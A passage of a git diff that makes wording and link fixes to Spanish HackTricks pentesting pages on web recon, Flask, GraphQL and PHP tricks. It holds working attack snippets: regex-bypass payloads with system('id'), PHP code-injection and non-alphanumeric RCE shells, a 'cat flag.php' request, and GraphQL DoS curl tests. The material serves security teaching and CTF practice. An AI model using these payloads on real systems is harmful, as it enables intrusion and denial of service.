contenido que mezcla varias opciones de las herramientas anteriores. - [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Una extensión de Burp para encontrar rutas y parámetros en archivos JS. -- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Una herramienta que dado el URL .js.map te dará el código JS embellecido. +- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Una herramienta que dado el URL .js.map te proporcionará el código JS embellecido. - [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Esta es una herramienta utilizada para descubrir endpoints para un objetivo dado. - [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Descubre enlaces de la máquina Wayback (también descargando las respuestas en Wayback y buscando más enlaces). - [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Rastrea (incluso llenando formularios) y también encuentra información sensible utilizando expresiones regulares específicas. -- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite es un rastreador/spider de seguridad web GUI multi-funcional avanzado diseñado para profesionales de ciberseguridad. +- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite es un avanzado rastreador/spider de seguridad web con múltiples funciones diseñado para profesionales de ciberseguridad. - [**jsluice**](https://github.com/BishopFox/jsluice) (go): Es un paquete de Go y [herramienta de línea de comandos](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) para extraer URLs, rutas, secretos y otros datos interesantes del código fuente de JavaScript. - [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge es una simple **extensión de Burp Suite** para **extraer los parámetros y endpoints** de la solicitud para crear listas de palabras personalizadas para fuzzing y enumeración. - [**katana**](https://github.com/projectdiscovery/katana) (go): Herramienta impresionante para esto. @@ -268,7 +268,7 @@ _Ten en cuenta que cada vez que se descubra un nuevo directorio durante la fuerz ### Qué verificar en cada archivo encontrado -- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Encuentra enlaces rotos dentro de HTMLs que pueden ser propensos a tomas de control. +- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Encuentra enlaces rotos dentro de HTML que pueden ser propensos a tomas de control. - **Copias de seguridad de archivos**: Una vez que hayas encontrado todos los archivos, busca copias de seguridad de todos los archivos ejecutables ("_.php_", "_.aspx_"...). Variaciones comunes para nombrar una copia de seguridad son: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp y file.old._ También puedes usar la herramienta [**bfac**](https://github.com/mazen160/bfac) **o** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.** - **Descubrir nuevos parámetros**: Puedes usar herramientas como [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **y** [**Param Miner**](https://github.com/PortSwigger/param-miner) **para descubrir parámetros ocultos. Si puedes, podrías intentar buscar** parámetros ocultos en cada archivo web ejecutable. - _Arjun todas las listas de palabras predeterminadas:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db) @@ -279,7 +279,7 @@ _Ten en cuenta que cada vez que se descubra un nuevo directorio durante la fuerz - Si estás jugando **CTF**, un truco "común" es **ocultar** **información** dentro de comentarios a la **derecha** de la **página** (usando **cientos** de **espacios** para que no veas los datos si abres el código fuente con el navegador). Otra posibilidad es usar **varias nuevas líneas** y **ocultar información** en un comentario en la **parte inferior** de la página web. - **Claves API**: Si **encuentras alguna clave API** hay una guía que indica cómo usar claves API de diferentes plataformas: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) - Claves API de Google: Si encuentras alguna clave API que se parezca a **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik puedes usar el proyecto [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) para verificar a qué APIs puede acceder la clave. -- **Buckets S3**: Mientras haces spidering, verifica si algún **subdominio** o algún **enlace** está relacionado con algún **bucket S3**. En ese caso, [**verifica** los **permisos** del bucket](buckets/). +- **Buckets S3**: Mientras haces spidering, verifica si algún **subdominio** o algún **enlace** está relacionado con algún **bucket S3**. En ese caso, [**verifica** los **permisos** del bucket](buckets/index.html). ### Hallazgos especiales @@ -288,7 +288,7 @@ _Ten en cuenta que cada vez que se descubra un nuevo directorio durante la fuerz **Archivos interesantes** - Busca **enlaces** a otros archivos dentro de los **archivos CSS**. -- [Si encuentras un _**.git**_ se puede extraer información](git.md) +- [Si encuentras un archivo _**.git**_ se puede extraer información](git.md) - Si encuentras un _**.env**_ se puede encontrar información como claves API, contraseñas de bases de datos y otra información. - Si encuentras **endpoints API** [también deberías probarlos](web-api-pentesting.md). Estos no son archivos, pero probablemente "se verán como" ellos. - **Archivos JS**: En la sección de spidering se mencionaron varias herramientas que pueden extraer rutas de archivos JS. Además, sería interesante **monitorear cada archivo JS encontrado**, ya que en algunas ocasiones, un cambio puede indicar que se introdujo una vulnerabilidad potencial en el código. Podrías usar por ejemplo [**JSMon**](https://github.com/robre/jsmon)**.** @@ -298,7 +298,7 @@ _Ten en cuenta que cada vez que se descubra un nuevo directorio durante la fuerz - **Desofuscación de JsFuck** (javascript con caracteres:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)) - [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.` - En varias ocasiones, necesitarás **entender las expresiones regulares** utilizadas. Esto será útil: [https://regex101.com/](https://regex101.com) o [https://pythonium.net/regex](https://pythonium.net/regex) -- También podrías **monitorear los archivos donde se detectaron formularios**, ya que un cambio en el parámetro o la aparición de un nuevo formulario puede indicar una nueva funcionalidad vulnerable potencial. +- También podrías **monitorear los archivos donde se detectaron formularios**, ya que un cambio en el parámetro o la aparición de un nuevo formulario puede indicar una nueva funcionalidad potencialmente vulnerable. **403 Forbidden/Basic Authentication/401 Unauthorized (bypass)** @@ -312,7 +312,7 @@ Si alguna página **responde** con ese **código**, probablemente sea un **proxy **Autenticación NTLM - Divulgación de información** -Si el servidor en ejecución que solicita autenticación es **Windows** o encuentras un inicio de sesión que pide tus **credenciales** (y solicita el **nombre** **de dominio**), puedes provocar una **divulgación de información**.\ +Si el servidor en ejecución solicita autenticación y es **Windows** o encuentras un inicio de sesión pidiendo tus **credenciales** (y pidiendo el **nombre de dominio**), puedes provocar una **divulgación de información**.\ **Envía** el **encabezado**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` y debido a cómo funciona la **autenticación NTLM**, el servidor responderá con información interna (versión de IIS, versión de Windows...) dentro del encabezado "WWW-Authenticate".\ Puedes **automatizar** esto utilizando el **plugin de nmap** "_http-ntlm-info.nse_". diff --git a/src/network-services-pentesting/pentesting-web/flask.md b/src/network-services-pentesting/pentesting-web/flask.md index 18bb25486..734a16d42 100644 --- a/src/network-services-pentesting/pentesting-web/flask.md +++ b/src/network-services-pentesting/pentesting-web/flask.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -**Probablemente, si estás participando en un CTF, una aplicación Flask estará relacionada con** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/)**.** +**Probablemente, si estás participando en un CTF, una aplicación Flask estará relacionada con** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/index.html)**.** ## Cookies @@ -58,7 +58,7 @@ ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s p ``` ### SQLi en la cookie de sesión de Flask con SQLmap -[**Este ejemplo**](../../pentesting-web/sql-injection/sqlmap/index.html#eval) utiliza la opción `eval` de sqlmap para **firmar automáticamente las cargas útiles de sqlmap** para Flask utilizando un secreto conocido. +[**Este ejemplo**](../../pentesting-web/sql-injection/sqlmap/index.html#eval) utiliza la opción `eval` de sqlmap para **firmar automáticamente las cargas útiles de sqlmap** para Flask usando un secreto conocido. ## Proxy de Flask a SSRF diff --git a/src/network-services-pentesting/pentesting-web/graphql.md b/src/network-services-pentesting/pentesting-web/graphql.md index 566f3f8d0..47397579d 100644 --- a/src/network-services-pentesting/pentesting-web/graphql.md +++ b/src/network-services-pentesting/pentesting-web/graphql.md @@ -4,11 +4,11 @@ ## Introducción -GraphQL se **destaca** como una **alternativa eficiente** a REST API, ofreciendo un enfoque simplificado para consultar datos desde el backend. En contraste con REST, que a menudo requiere numerosas solicitudes a través de diversos endpoints para recopilar datos, GraphQL permite obtener toda la información necesaria a través de una **solicitud única**. Esta simplificación **beneficia significativamente a los desarrolladores** al disminuir la complejidad de sus procesos de obtención de datos. +GraphQL es **destacado** como una **alternativa eficiente** a REST API, ofreciendo un enfoque simplificado para consultar datos desde el backend. En contraste con REST, que a menudo requiere numerosas solicitudes a través de diversos endpoints para recopilar datos, GraphQL permite obtener toda la información necesaria a través de una **solicitud única**. Esta simplificación **beneficia significativamente a los desarrolladores** al disminuir la complejidad de sus procesos de obtención de datos. ## GraphQL y Seguridad -Con la llegada de nuevas tecnologías, incluido GraphQL, también surgen nuevas vulnerabilidades de seguridad. Un punto clave a tener en cuenta es que **GraphQL no incluye mecanismos de autenticación por defecto**. Es responsabilidad de los desarrolladores implementar tales medidas de seguridad. Sin la autenticación adecuada, los endpoints de GraphQL pueden exponer información sensible a usuarios no autenticados, lo que representa un riesgo de seguridad significativo. +Con la llegada de nuevas tecnologías, incluido GraphQL, también surgen nuevas vulnerabilidades de seguridad. Un punto clave a tener en cuenta es que **GraphQL no incluye mecanismos de autenticación por defecto**. Es responsabilidad de los desarrolladores implementar tales medidas de seguridad. Sin una autenticación adecuada, los endpoints de GraphQL pueden exponer información sensible a usuarios no autenticados, lo que representa un riesgo de seguridad significativo. ### Ataques de Fuerza Bruta en Directorios y GraphQL @@ -23,7 +23,7 @@ Para identificar instancias de GraphQL expuestas, se recomienda la inclusión de - `/graphql/api` - `/graphql/graphql` -Identificar instancias de GraphQL abiertas permite examinar las consultas admitidas. Esto es crucial para entender los datos accesibles a través del endpoint. El sistema de introspección de GraphQL facilita esto al detallar las consultas que un esquema admite. Para más información sobre esto, consulta la documentación de GraphQL sobre introspección: [**GraphQL: Un lenguaje de consulta para APIs.**](https://graphql.org/learn/introspection/) +Identificar instancias de GraphQL abiertas permite examinar las consultas soportadas. Esto es crucial para entender los datos accesibles a través del endpoint. El sistema de introspección de GraphQL facilita esto al detallar las consultas que un esquema soporta. Para más información sobre esto, consulta la documentación de GraphQL sobre introspección: [**GraphQL: A query language for APIs.**](https://graphql.org/learn/introspection/) ### Huella Digital @@ -41,7 +41,7 @@ Graphql generalmente soporta **GET**, **POST** (x-www-form-urlencoded) y **POST* #### Introspección -Para usar la introspección y descubrir información del esquema, consulta el campo `__schema`. Este campo está disponible en el tipo raíz de todas las consultas. +Para usar la introspección para descubrir información del esquema, consulta el campo `__schema`. Este campo está disponible en el tipo raíz de todas las consultas. ```bash query={__schema{types{name,fields{name}}}} ``` @@ -172,7 +172,7 @@ Si la introspección está habilitada, puedes usar [**GraphQL Voyager**](https:/ Ahora que sabemos qué tipo de información se guarda dentro de la base de datos, intentemos **extraer algunos valores**. -En la introspección puedes encontrar **qué objeto puedes consultar directamente** (porque no puedes consultar un objeto solo porque existe). En la imagen siguiente puedes ver que el "_queryType_" se llama "_Query_" y que uno de los campos del objeto "_Query_" es "_flags_", que también es un tipo de objeto. Por lo tanto, puedes consultar el objeto flag. +En la introspección puedes encontrar **qué objeto puedes consultar directamente** (porque no puedes consultar un objeto solo porque existe). En la siguiente imagen puedes ver que el "_queryType_" se llama "_Query_" y que uno de los campos del objeto "_Query_" es "_flags_", que también es un tipo de objeto. Por lo tanto, puedes consultar el objeto flag. ![](<../../images/Screenshot from 2021-03-13 18-17-48.png>) @@ -202,7 +202,7 @@ Sin embargo, en este ejemplo, si intentas hacerlo, obtienes este **error**: ![](<../../images/image (1042).png>) Parece que de alguna manera buscará utilizando el argumento "_**uid**_" de tipo _**Int**_.\ -De todos modos, ya lo sabíamos, en la sección de [Basic Enumeration](graphql.md#basic-enumeration) se propuso una consulta que nos mostraba toda la información necesaria: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}` +De todos modos, ya sabíamos eso, en la sección [Basic Enumeration](graphql.md#basic-enumeration) se propuso una consulta que nos mostraba toda la información necesaria: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}` Si lees la imagen proporcionada cuando ejecuto esa consulta, verás que "_**user**_" tenía el **arg** "_**uid**_" de tipo _Int_. @@ -334,7 +334,7 @@ releaseYear ``` ### Sobrecarga de Directivas -Como se explica en [**una de las vulnerabilidades descritas en este informe**](https://www.landh.tech/blog/20240304-google-hack-50000/), una sobrecarga de directivas implica llamar a una directiva incluso millones de veces para hacer que el servidor desperdicie operaciones hasta que sea posible realizar un DoS. +Como se explicó en [**una de las vulnerabilidades descritas en este informe**](https://www.landh.tech/blog/20240304-google-hack-50000/), una sobrecarga de directivas implica llamar a una directiva incluso millones de veces para hacer que el servidor desperdicie operaciones hasta que sea posible realizar un DoS. ### Agrupación de fuerza bruta en 1 solicitud API @@ -351,7 +351,7 @@ Como podemos ver en la captura de pantalla de la respuesta, la primera y la terc ## GraphQL Sin Introspección -Cada vez más **puntos finales de graphql están deshabilitando la introspección**. Sin embargo, los errores que graphql lanza cuando se recibe una solicitud inesperada son suficientes para que herramientas como [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) recreen la mayor parte del esquema. +Cada vez más **puntos finales de graphql están deshabilitando la introspección**. Sin embargo, los errores que graphql lanza cuando se recibe una solicitud inesperada son suficientes para que herramientas como [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) recrean la mayor parte del esquema. Además, la extensión de Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **observa las solicitudes de API de GraphQL que pasan a través de Burp** y **construye** un **esquema** interno de GraphQL con cada nueva consulta que ve. También puede exponer el esquema para GraphiQL y Voyager. La extensión devuelve una respuesta falsa cuando recibe una consulta de introspección. Como resultado, GraphQuail muestra todas las consultas, argumentos y campos disponibles para su uso dentro de la API. Para más información [**ver esto**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema). @@ -425,9 +425,9 @@ Por lo tanto, dado que las solicitudes CSRF como las anteriores se envían **sin Sin embargo, tenga en cuenta que el nuevo valor predeterminado de la cookie del flag `samesite` de Chrome es `Lax`. Esto significa que la cookie solo se enviará desde un sitio web de terceros en solicitudes GET. -Tenga en cuenta que generalmente es posible enviar la **solicitud** **de consulta** también como una **solicitud GET y el token CSRF podría no estar validado en una solicitud GET.** +Tenga en cuenta que generalmente es posible enviar la **solicitud** **de consulta** también como una **solicitud GET y el token CSRF podría no ser validado en una solicitud GET.** -Además, abusando de un [**XS-Search**](../../pentesting-web/xs-search/) **ataque** podría ser posible exfiltrar contenido del endpoint de GraphQL abusando de las credenciales del usuario. +Además, abusando de un [**XS-Search**](../../pentesting-web/xs-search/index.html) **ataque** podría ser posible exfiltrar contenido del endpoint de GraphQL abusando de las credenciales del usuario. Para más información **verifique el** [**post original aquí**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html). @@ -459,7 +459,7 @@ La mutación podría incluso llevar a la toma de control de la cuenta al intenta [Encadenar consultas](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) juntas puede eludir un sistema de autenticación débil. -En el ejemplo a continuación, puedes ver que la operación es "forgotPassword" y que solo debería ejecutar la consulta forgotPassword asociada. Esto se puede eludir agregando una consulta al final, en este caso agregamos "register" y una variable de usuario para que el sistema registre a un nuevo usuario. +En el ejemplo a continuación, puedes ver que la operación es "forgotPassword" y que solo debería ejecutar la consulta forgotPassword asociada. Esto se puede eludir añadiendo una consulta al final; en este caso, añadimos "register" y una variable de usuario para que el sistema registre a un nuevo usuario.
@@ -471,7 +471,7 @@ Para una comprensión detallada de los alias de GraphQL, se recomienda el siguie Si bien el propósito principal de los alias es reducir la necesidad de numerosas llamadas a la API, se ha identificado un caso de uso no intencionado donde los alias pueden ser aprovechados para ejecutar ataques de fuerza bruta en un endpoint de GraphQL. Esto es posible porque algunos endpoints están protegidos por limitadores de tasa diseñados para frustrar ataques de fuerza bruta al restringir el **número de solicitudes HTTP**. Sin embargo, estos limitadores de tasa pueden no tener en cuenta el número de operaciones dentro de cada solicitud. Dado que los alias permiten la inclusión de múltiples consultas en una sola solicitud HTTP, pueden eludir tales medidas de limitación de tasa. -Considera el ejemplo proporcionado a continuación, que ilustra cómo se pueden usar consultas con alias para verificar la validez de los códigos de descuento de la tienda. Este método podría eludir la limitación de tasa ya que compila varias consultas en una sola solicitud HTTP, lo que potencialmente permite la verificación de numerosos códigos de descuento simultáneamente. +Considera el ejemplo proporcionado a continuación, que ilustra cómo se pueden usar consultas con alias para verificar la validez de los códigos de descuento de la tienda. Este método podría eludir la limitación de tasa, ya que compila varias consultas en una sola solicitud HTTP, lo que potencialmente permite la verificación de numerosos códigos de descuento simultáneamente. ```bash # Example of a request utilizing aliased queries to check for valid discount codes query isValidDiscount($code: Int) { @@ -539,7 +539,7 @@ Y luego **usa algunos de los personalizados**. ### **Vulnerabilidad de Duplicación de Campos** -**La Duplicación de Campos** es una vulnerabilidad donde un servidor GraphQL permite consultas con el mismo campo repetido en exceso. Esto obliga al servidor a resolver el campo de manera redundante para cada instancia, consumiendo recursos significativos (CPU, memoria y llamadas a la base de datos). Un atacante puede crear consultas con cientos o miles de campos repetidos, causando una alta carga y potencialmente llevando a un **Denial of Service (DoS)**. +**Duplicación de Campos** es una vulnerabilidad donde un servidor GraphQL permite consultas con el mismo campo repetido en exceso. Esto obliga al servidor a resolver el campo de manera redundante para cada instancia, consumiendo recursos significativos (CPU, memoria y llamadas a la base de datos). Un atacante puede crear consultas con cientos o miles de campos repetidos, causando una alta carga y potencialmente llevando a un **Denial of Service (DoS)**. ```bash # Test provided by https://github.com/dolevf/graphql-cop curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \ @@ -552,10 +552,10 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso - [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Prueba configuraciones incorrectas comunes de endpoints graphql - [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): Script de auditoría de seguridad de GraphQL con un enfoque en realizar consultas y mutaciones de GraphQL por lotes. -- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Identificar el graphql que se está utilizando -- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Conjunto de herramientas que se puede utilizar para obtener esquemas y buscar datos sensibles, probar autorización, forzar esquemas y encontrar rutas a un tipo dado. -- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Se puede utilizar como independiente o [extensión de Burp](https://github.com/doyensec/inql). -- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): También se puede utilizar como cliente CLI para automatizar ataques +- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Identifica el graphql que se está utilizando +- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Kit de herramientas que se puede usar para obtener esquemas y buscar datos sensibles, probar autorización, forzar esquemas y encontrar rutas a un tipo dado. +- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Se puede usar como independiente o [extensión de Burp](https://github.com/doyensec/inql). +- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): También se puede usar como cliente CLI para automatizar ataques - [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Herramienta que lista las diferentes formas de **alcanzar un tipo dado en un esquema GraphQL**. - [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): El sucesor de los modos independiente y CLI de InQL - [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Extensión de Burp para pruebas avanzadas de GraphQL. El _**Escáner**_ es el núcleo de InQL v5.0, donde puedes analizar un endpoint de GraphQL o un archivo de esquema de introspección local. Genera automáticamente todas las posibles consultas y mutaciones, organizándolas en una vista estructurada para tu análisis. El componente _**Atacante**_ te permite ejecutar ataques por lotes de GraphQL, lo que puede ser útil para eludir límites de tasa mal implementados. diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md index 5890384c6..aade74e49 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md @@ -19,7 +19,7 @@ Ubicaciones: /tmp/ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e ``` -## Bypass de comparaciones PHP +## Bypass de comparaciones en PHP ### Comparaciones sueltas/Juggling de tipos ( == ) @@ -73,7 +73,7 @@ Incluso si se está utilizando `===`, podría haber errores que hacen que la com #### Bypass de nueva línea -Sin embargo, al delimitar el inicio de la regexp, `preg_match()` **solo verifica la primera línea de la entrada del usuario**, por lo que si de alguna manera puedes **enviar** la entrada en **varias líneas**, podrías ser capaz de eludir esta verificación. Ejemplo: +Sin embargo, al delimitar el inicio de la regexp, `preg_match()` **solo verifica la primera línea de la entrada del usuario**, entonces, si de alguna manera puedes **enviar** la entrada en **varias líneas**, podrías ser capaz de eludir esta verificación. Ejemplo: ```php $myinput="aaaaaaa 11111111"; //Notice the new line @@ -97,7 +97,7 @@ Encuentra un ejemplo aquí: [https://ramadistra.dev/fbctf-2019-rceservice](https #### **Bypass de error de longitud** (Este bypass se intentó aparentemente en PHP 5.2.5 y no pude hacerlo funcionar en PHP 7.3.15)\ -Si puedes enviar a `preg_match()` una **entrada válida muy grande**, **no podrá procesarla** y podrás **eludir** la verificación. Por ejemplo, si está bloqueando un JSON, podrías enviar: +Si puedes enviar a `preg_match()` una **entrada muy grande** válida, **no podrá procesarla** y podrás **eludir** la verificación. Por ejemplo, si está bloqueando un JSON, podrías enviar: ```bash payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}' ``` @@ -109,12 +109,12 @@ Truco de: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-wr
-En resumen, el problema ocurre porque las funciones `preg_*` en PHP se basan en la [biblioteca PCRE](http://www.pcre.org/). En PCRE, ciertas expresiones regulares se emparejan utilizando muchas llamadas recursivas, lo que consume mucho espacio en la pila. Es posible establecer un límite en la cantidad de recursiones permitidas, pero en PHP este límite [se establece por defecto en 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), que es más de lo que cabe en la pila. +En resumen, el problema ocurre porque las funciones `preg_*` en PHP se basan en la [biblioteca PCRE](http://www.pcre.org/). En PCRE, ciertas expresiones regulares se emparejan utilizando muchas llamadas recursivas, lo que consume mucho espacio en la pila. Es posible establecer un límite en la cantidad de recursiones permitidas, pero en PHP este límite [por defecto es 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), que es más de lo que cabe en la pila. [Este hilo de Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) también fue vinculado en la publicación donde se habla más a fondo sobre este problema. Nuestra tarea ahora estaba clara:\ **Enviar una entrada que hiciera que la regex realizara 100_000+ recursiones, causando SIGSEGV, haciendo que la función `preg_match()` devolviera `false`, haciendo que la aplicación pensara que nuestra entrada no es maliciosa, lanzando la sorpresa al final de la carga útil algo como `{system()}` para obtener SSTI --> RCE --> flag :)**. -Bueno, en términos de regex, en realidad no estamos haciendo 100k "recursiones", sino que estamos contando "pasos de retroceso", que como indica la [documentación de PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) se establece por defecto en 1_000_000 (1M) en la variable `pcre.backtrack_limit`.\ +Bueno, en términos de regex, en realidad no estamos haciendo 100k "recursiones", sino que estamos contando "pasos de retroceso", que como indica la [documentación de PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) por defecto es 1_000_000 (1M) en la variable `pcre.backtrack_limit`.\ Para alcanzar eso, `'X'*500_001` resultará en 1 millón de pasos de retroceso (500k hacia adelante y 500k hacia atrás): ```python payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}" @@ -153,10 +153,10 @@ Check: ## More tricks - **register_globals**: En **PHP < 4.1.1.1** o si está mal configurado, **register_globals** puede estar activo (o su comportamiento está siendo imitado). Esto implica que en variables globales como $\_GET si tienen un valor e.g. $\_GET\["param"]="1234", puedes acceder a él a través de **$param. Por lo tanto, al enviar parámetros HTTP puedes sobrescribir variables\*\* que se utilizan dentro del código. -- Las **cookies PHPSESSION del mismo dominio se almacenan en el mismo lugar**, por lo tanto, si dentro de un dominio **se utilizan diferentes cookies en diferentes rutas** puedes hacer que una ruta **acceda a la cookie de la otra ruta** configurando el valor de la cookie de la otra ruta.\ -De esta manera, si **ambas rutas acceden a una variable con el mismo nombre** puedes hacer que el **valor de esa variable en path1 se aplique a path2**. Y luego path2 tomará como válidos los variables de path1 (dándole a la cookie el nombre que le corresponde en path2). +- Las **cookies PHPSESSION del mismo dominio se almacenan en el mismo lugar**, por lo tanto, si dentro de un dominio **se utilizan diferentes cookies en diferentes rutas** puedes hacer que una ruta **acceda a la cookie de la ruta** estableciendo el valor de la cookie de la otra ruta.\ +De esta manera, si **ambas rutas acceden a una variable con el mismo nombre** puedes hacer que el **valor de esa variable en path1 se aplique a path2**. Y luego path2 tomará como válidos las variables de path1 (dándole a la cookie el nombre que le corresponde en path2). - Cuando tengas los **nombres de usuario** de los usuarios de la máquina. Verifica la dirección: **/\~\** para ver si los directorios php están activados. -- [**LFI and RCE using php wrappers**](../../../pentesting-web/file-inclusion/) +- [**LFI and RCE using php wrappers**](../../../pentesting-web/file-inclusion/index.html) ### password_hash/password_verify @@ -183,7 +183,7 @@ if (isset($_GET["xss"])) echo $_GET["xss"]; ``` #### Llenando un cuerpo antes de establecer encabezados -Si una **página PHP está imprimiendo errores y devolviendo alguna entrada proporcionada por el usuario**, el usuario puede hacer que el servidor PHP imprima de vuelta algún **contenido lo suficientemente largo** para que cuando intente **agregar los encabezados** a la respuesta, el servidor genere un error.\ +Si una **página PHP está imprimiendo errores y devolviendo alguna entrada proporcionada por el usuario**, el usuario puede hacer que el servidor PHP imprima algún **contenido lo suficientemente largo** para que cuando intente **agregar los encabezados** a la respuesta, el servidor genere un error.\ En el siguiente escenario, el **atacante hizo que el servidor generara algunos errores grandes**, y como puedes ver en la pantalla, cuando PHP intentó **modificar la información del encabezado, no pudo** (por ejemplo, el encabezado CSP no se envió al usuario): ![](<../../../images/image (1085).png>) @@ -202,7 +202,7 @@ php-ssrf.md &#xNAN;**\`ls\`;**\ **shell_exec("ls");** -[Consulta esto para más funciones útiles de PHP](php-useful-functions-disable_functions-open_basedir-bypass/) +[Consulta esto para más funciones útiles de PHP](php-useful-functions-disable_functions-open_basedir-bypass/index.html) ### **RCE a través de** **preg_replace()** ```php @@ -256,7 +256,7 @@ function foo($x,$y){ usort();}phpinfo;#, "cmp"); }?> ``` -Puedes también usar **//** para comentar el resto del código. +Puedes usar también **//** para comentar el resto del código. Para descubrir el número de paréntesis que necesitas cerrar: @@ -308,7 +308,7 @@ phpinfo(); ?> ``` -## Bypass de sanitización de PHP y Brain Fuck +## PHP Sanitization bypass & Brain Fuck [**En esta publicación**](https://blog.redteam-pentesting.de/2024/moodle-rce/) es posible encontrar grandes ideas para generar un código PHP de brain fuck con muy pocos caracteres permitidos.\ Además, también se propone una forma interesante de ejecutar funciones que les permitió eludir varias verificaciones: @@ -329,9 +329,9 @@ Si estás depurando una aplicación PHP, puedes habilitar globalmente la impresi Puedes usar el **web**[ **www.unphp.net**](http://www.unphp.net) **para desofuscar código php.** -## Envolturas y Protocolos de PHP +## Envolturas y protocolos PHP -Las envolturas y protocolos de PHP podrían permitirte **eludir las protecciones de escritura y lectura** en un sistema y comprometerlo. Para [**más información consulta esta página**](../../../pentesting-web/file-inclusion/index.html#lfi-rfi-using-php-wrappers-and-protocols). +Las envolturas y protocolos PHP podrían permitirte **eludir las protecciones de escritura y lectura** en un sistema y comprometerlo. Para [**más información consulta esta página**](../../../pentesting-web/file-inclusion/index.html#lfi-rfi-using-php-wrappers-and-protocols). ## RCE no autenticada de Xdebug @@ -349,7 +349,7 @@ echo "${Da}"; //Drums echo "$x ${$x}"; //Da Drums echo "$x ${Da}"; //Da Drums ``` -## RCE abusando de $\_GET\["a"]\($\_GET\["b"]) +## RCE abusando de $\_GET\["a"]\($\_GET\["b") Si en una página puedes **crear un nuevo objeto de una clase arbitraria** podrías obtener RCE, consulta la siguiente página para aprender cómo: @@ -381,7 +381,7 @@ ${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]); $_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]); ``` -Entonces, si puedes **ejecutar PHP arbitrario sin números ni letras**, puedes enviar una solicitud como la siguiente abusando de esa carga útil para ejecutar PHP arbitrario: +Entonces, si puedes **ejecutar PHP arbitrario sin números y letras** puedes enviar una solicitud como la siguiente abusando de esa carga útil para ejecutar PHP arbitrario: ``` POST: /action.php?_=system&__=cat+flag.php 